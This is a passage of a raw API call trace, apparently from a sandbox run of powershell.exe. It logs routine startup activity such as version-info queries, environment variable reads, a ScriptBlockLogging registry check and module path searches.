lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0186.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x48aee6c) returned 1 [0186.535] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0186.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x48adc88) returned 1 Thread: id = 103 os_tid = 0xf88 Thread: id = 106 os_tid = 0xf94 Thread: id = 108 os_tid = 0xf9c Thread: id = 113 os_tid = 0xfb0 Thread: id = 114 os_tid = 0xfb4 Thread: id = 115 os_tid = 0xfb8 Thread: id = 120 os_tid = 0xfcc [0211.929] CoGetContextToken (in: pToken=0x4f2f394 | out: pToken=0x4f2f394) returned 0x0 [0211.929] CObjectContext::QueryInterface () returned 0x0 [0211.929] CObjectContext::GetCurrentThreadType () returned 0x0 [0211.929] Release () returned 0x0 Thread: id = 121 os_tid = 0xfd0 Thread: id = 126 os_tid = 0xfe4 Thread: id = 130 os_tid = 0xffc Thread: id = 133 os_tid = 0xb90 Thread: id = 138 os_tid = 0xb74 Thread: id = 146 os_tid = 0xab8 [0164.525] SetThreadUILanguage (LangId=0x0) returned 0x409 [0164.553] EtwEventRegister () returned 0x0 [0165.027] CoCreateGuid (in: pguid=0x5a8efac | out: pguid=0x5a8efac*(Data1=0x44e5303b, Data2=0xa21d, Data3=0x473b, Data4=([0]=0xa7, [1]=0x27, [2]=0xbb, [3]=0xd3, [4]=0xb5, [5]=0x54, [6]=0xf8, [7]=0x2c))) returned 0x0 [0165.046] QueryPerformanceFrequency (in: lpFrequency=0x1c4e28 | out: lpFrequency=0x1c4e28*=100000000) returned 1 [0165.047] QueryPerformanceCounter (in: lpPerformanceCount=0x5a8ef8c | out: lpPerformanceCount=0x5a8ef8c*=1259252093896) returned 1 [0165.049] GetCurrentProcessId () returned 0xe48 [0165.049] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe48) returned 0x3c4 [0165.049] EnumProcessModules (in: hProcess=0x3c4, lphModule=0x2646fd4, cb=0x100, lpcbNeeded=0x5a8ee84 | out: lphModule=0x2646fd4, lpcbNeeded=0x5a8ee84) returned 1 [0165.051] GetModuleInformation (in: hProcess=0x3c4, hModule=0xc40000, lpmodinfo=0x2647114, cb=0xc | out: lpmodinfo=0x2647114*(lpBaseOfDll=0xc40000, SizeOfImage=0x6b000, EntryPoint=0xc4d330)) returned 1 [0165.051] CoTaskMemAlloc (cb=0x804) returned 0x5bc518 [0165.051] GetModuleBaseNameW (in: hProcess=0x3c4, hModule=0xc40000, lpBaseName=0x5bc518, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0165.052] CoTaskMemFree (pv=0x5bc518) [0165.052] CoTaskMemAlloc (cb=0x804) returned 0x5bc518 [0165.052] GetModuleFileNameExW (in: hProcess=0x3c4, hModule=0xc40000, lpFilename=0x5bc518, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0165.052] CoTaskMemFree (pv=0x5bc518) [0165.052] CloseHandle (hObject=0x3c4) returned 1 [0165.053] LocalReAlloc (hMem=0x57ef50, uBytes=0x208, uFlags=0x2) returned 0x5bd230 [0165.053] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x104, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0165.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8ebbc) returned 1 [0165.053] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe"), fInfoLevelId=0x0, lpFileInformation=0x5a8ee80 | out: lpFileInformation=0x5a8ee80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b7f9180, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8b7f9180, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x7711b3a3, ftLastWriteTime.dwHighDateTime=0x1d251bc, nFileSizeHigh=0x0, nFileSizeLow=0x68400)) returned 1 [0165.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8ebb8) returned 1 [0165.053] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpdwHandle=0x5a8eef4 | out: lpdwHandle=0x5a8eef4) returned 0x74c [0165.054] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", dwHandle=0x0, dwLen=0x74c, lpData=0x2649348 | out: lpData=0x2649348) returned 1 [0165.054] VerQueryValueW (in: pBlock=0x2649348, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x5a8eec8, puLen=0x5a8eec4 | out: lplpBuffer=0x5a8eec8*=0x26496e8, puLen=0x5a8eec4) returned 1 [0165.054] VerQueryValueW (in: pBlock=0x2649348, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\CompanyName", lplpBuffer=0x5a8ee48, puLen=0x5a8ee44 | out: lplpBuffer=0x5a8ee48*=0x2649400, puLen=0x5a8ee44) returned 1 [0165.054] VerQueryValueW (in: pBlock=0x2649348, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileDescription", lplpBuffer=0x5a8ee48, puLen=0x5a8ee44 | out: lplpBuffer=0x5a8ee48*=0x2649454, puLen=0x5a8ee44) returned 1 [0165.054] VerQueryValueW (in: pBlock=0x2649348, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileVersion", lplpBuffer=0x5a8ee48, puLen=0x5a8ee44 | out: lplpBuffer=0x5a8ee48*=0x264949c, puLen=0x5a8ee44) returned 1 [0165.054] VerQueryValueW (in: pBlock=0x2649348, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\InternalName", lplpBuffer=0x5a8ee48, puLen=0x5a8ee44 | out: lplpBuffer=0x5a8ee48*=0x2649510, puLen=0x5a8ee44) returned 1 [0165.055] VerQueryValueW (in: pBlock=0x2649348, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalCopyright", lplpBuffer=0x5a8ee48, puLen=0x5a8ee44 | out: lplpBuffer=0x5a8ee48*=0x264954c, puLen=0x5a8ee44) returned 1 [0165.055] VerQueryValueW (in: pBlock=0x2649348, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\OriginalFilename", lplpBuffer=0x5a8ee48, puLen=0x5a8ee44 | out: lplpBuffer=0x5a8ee48*=0x26495d0, puLen=0x5a8ee44) returned 1 [0165.055] VerQueryValueW (in: pBlock=0x2649348, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductName", lplpBuffer=0x5a8ee48, puLen=0x5a8ee44 | out: lplpBuffer=0x5a8ee48*=0x2649618, puLen=0x5a8ee44) returned 1 [0165.055] VerQueryValueW (in: pBlock=0x2649348, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductVersion", lplpBuffer=0x5a8ee48, puLen=0x5a8ee44 | out: lplpBuffer=0x5a8ee48*=0x2649688, puLen=0x5a8ee44) returned 1 [0165.055] VerQueryValueW (in: pBlock=0x2649348, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\Comments", lplpBuffer=0x5a8ee48, puLen=0x5a8ee44 | out: lplpBuffer=0x5a8ee48*=0x0, puLen=0x5a8ee44) returned 0 [0165.055] VerQueryValueW (in: pBlock=0x2649348, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalTrademarks", lplpBuffer=0x5a8ee48, puLen=0x5a8ee44 | out: lplpBuffer=0x5a8ee48*=0x0, puLen=0x5a8ee44) returned 0 [0165.055] VerQueryValueW (in: pBlock=0x2649348, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\PrivateBuild", lplpBuffer=0x5a8ee48, puLen=0x5a8ee44 | out: lplpBuffer=0x5a8ee48*=0x0, puLen=0x5a8ee44) returned 0 [0165.055] VerQueryValueW (in: pBlock=0x2649348, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\SpecialBuild", lplpBuffer=0x5a8ee48, puLen=0x5a8ee44 | out: lplpBuffer=0x5a8ee48*=0x0, puLen=0x5a8ee44) returned 0 [0165.055] VerQueryValueW (in: pBlock=0x2649348, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x5a8ee3c, puLen=0x5a8ee38 | out: lplpBuffer=0x5a8ee3c*=0x26496e8, puLen=0x5a8ee38) returned 1 [0165.055] VerLanguageNameW (in: wLang=0x409, szLang=0x5a8ebcc, cchLang=0x100 | out: szLang="English (United States)") returned 0x17 [0165.055] VerQueryValueW (in: pBlock=0x2649348, lpSubBlock="\\", lplpBuffer=0x5a8ee4c, puLen=0x5a8ee48 | out: lplpBuffer=0x5a8ee4c*=0x2649370, puLen=0x5a8ee48) returned 1 [0168.047] QueryPerformanceCounter (in: lpPerformanceCount=0x5a8ef54 | out: lpPerformanceCount=0x5a8ef54*=1259906986430) returned 1 [0168.139] EtwEventRegister () returned 0x0 [0168.140] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a8edc4, nSize=0x80 | out: lpBuffer="") returned 0x0 [0168.669] EtwEventActivityIdControl () returned 0x0 [0168.669] EtwEventActivityIdControl () returned 0x0 [0168.669] EtwEventActivityIdControl () returned 0x0 [0168.678] EtwEventActivityIdControl () returned 0x0 [0168.678] EtwEventActivityIdControl () returned 0x0 [0168.678] EtwEventActivityIdControl () returned 0x0 [0169.021] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5a8e5cc, nSize=0x80 | out: lpBuffer="") returned 0x0 [0169.022] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5a8e5cc, nSize=0x80 | out: lpBuffer="") returned 0x0 [0169.121] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5a8e5b8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0169.339] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8ee30 | out: phkResult=0x5a8ee30*=0x0) returned 0x2 [0169.340] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8ee30 | out: phkResult=0x5a8ee30*=0x0) returned 0x2 [0169.403] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5a8e588, nSize=0x80 | out: lpBuffer="") returned 0x0 [0169.423] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a8e970, nSize=0x80 | out: lpBuffer="") returned 0x0 [0169.427] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x5a8e88c, nSize=0x80 | out: lpBuffer="") returned 0xf2 [0169.428] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x5a8e7a8, nSize=0xf2 | out: lpBuffer="") returned 0xf1 [0169.429] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5a8e794, nSize=0xf2 | out: lpBuffer="") returned 0x3a [0169.651] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x5bd230 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0169.653] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5a8e79c, nSize=0xf2 | out: lpBuffer="") returned 0x3a [0169.655] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0169.656] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x49, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x48 [0169.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e6f8) returned 1 [0169.656] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\users\\keecfmwgj\\desktop\\c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9bc | out: lpFileInformation=0x5a8e9bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0169.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e6f4) returned 1 [0169.657] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5a8e02c, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0169.658] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0169.658] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0169.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e6f8) returned 1 [0169.658] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9bc | out: lpFileInformation=0x5a8e9bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x5da08c40, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x5da08c40, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0169.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e6f4) returned 1 [0169.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e9b4) returned 1 [0169.660] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0169.660] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0169.662] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\New-Object.*", lpFindFileData=0x5a8e764 | out: lpFindFileData=0x5a8e764*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e70c) returned 1 [0169.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e96c) returned 1 [0169.665] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0169.665] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0169.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e6f8) returned 1 [0169.671] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9bc | out: lpFileInformation=0x5a8e9bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x571be860, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x571be860, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0169.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e6f4) returned 1 [0169.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e9b4) returned 1 [0169.671] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0169.671] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0169.671] FindFirstFileW (in: lpFileName="C:\\Windows\\New-Object.*", lpFindFileData=0x5a8e764 | out: lpFindFileData=0x5a8e764*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e70c) returned 1 [0169.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e96c) returned 1 [0169.672] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0169.672] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0169.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e6f8) returned 1 [0169.672] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\syswow64\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9bc | out: lpFileInformation=0x5a8e9bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0169.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e6f4) returned 1 [0169.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e9b4) returned 1 [0169.672] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0169.672] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0169.673] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.*", lpFindFileData=0x5a8e764 | out: lpFindFileData=0x5a8e764*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e70c) returned 1 [0169.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e96c) returned 1 [0169.673] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0169.673] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0169.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e6f8) returned 1 [0169.673] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9bc | out: lpFileInformation=0x5a8e9bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0169.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e6f4) returned 1 [0169.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e9b4) returned 1 [0169.674] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0169.674] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0169.674] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\New-Object.*", lpFindFileData=0x5a8e764 | out: lpFindFileData=0x5a8e764*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e70c) returned 1 [0169.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e96c) returned 1 [0169.674] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0169.674] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", nBufferLength=0x34, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", lpFilePart=0x0) returned 0x33 [0169.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e6f8) returned 1 [0169.674] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client" (normalized: "c:\\program files (x86)\\microsoft office\\root\\client"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9bc | out: lpFileInformation=0x5a8e9bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31a4ed90, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x7fc99110, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x7fc99110, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0169.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e6f4) returned 1 [0169.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e9b4) returned 1 [0169.674] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0169.675] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", nBufferLength=0x34, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", lpFilePart=0x0) returned 0x33 [0169.675] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client\\New-Object.*", lpFindFileData=0x5a8e764 | out: lpFindFileData=0x5a8e764*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e70c) returned 1 [0169.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e96c) returned 1 [0169.679] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5a8e800, nSize=0xf2 | out: lpBuffer="") returned 0xc5 [0169.767] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0169.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e9e4) returned 1 [0169.803] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0169.803] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0169.803] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x5a8e794 | out: lpFindFileData=0x5a8e794*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x550540 [0169.804] FindNextFileW (in: hFindFile=0x550540, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, 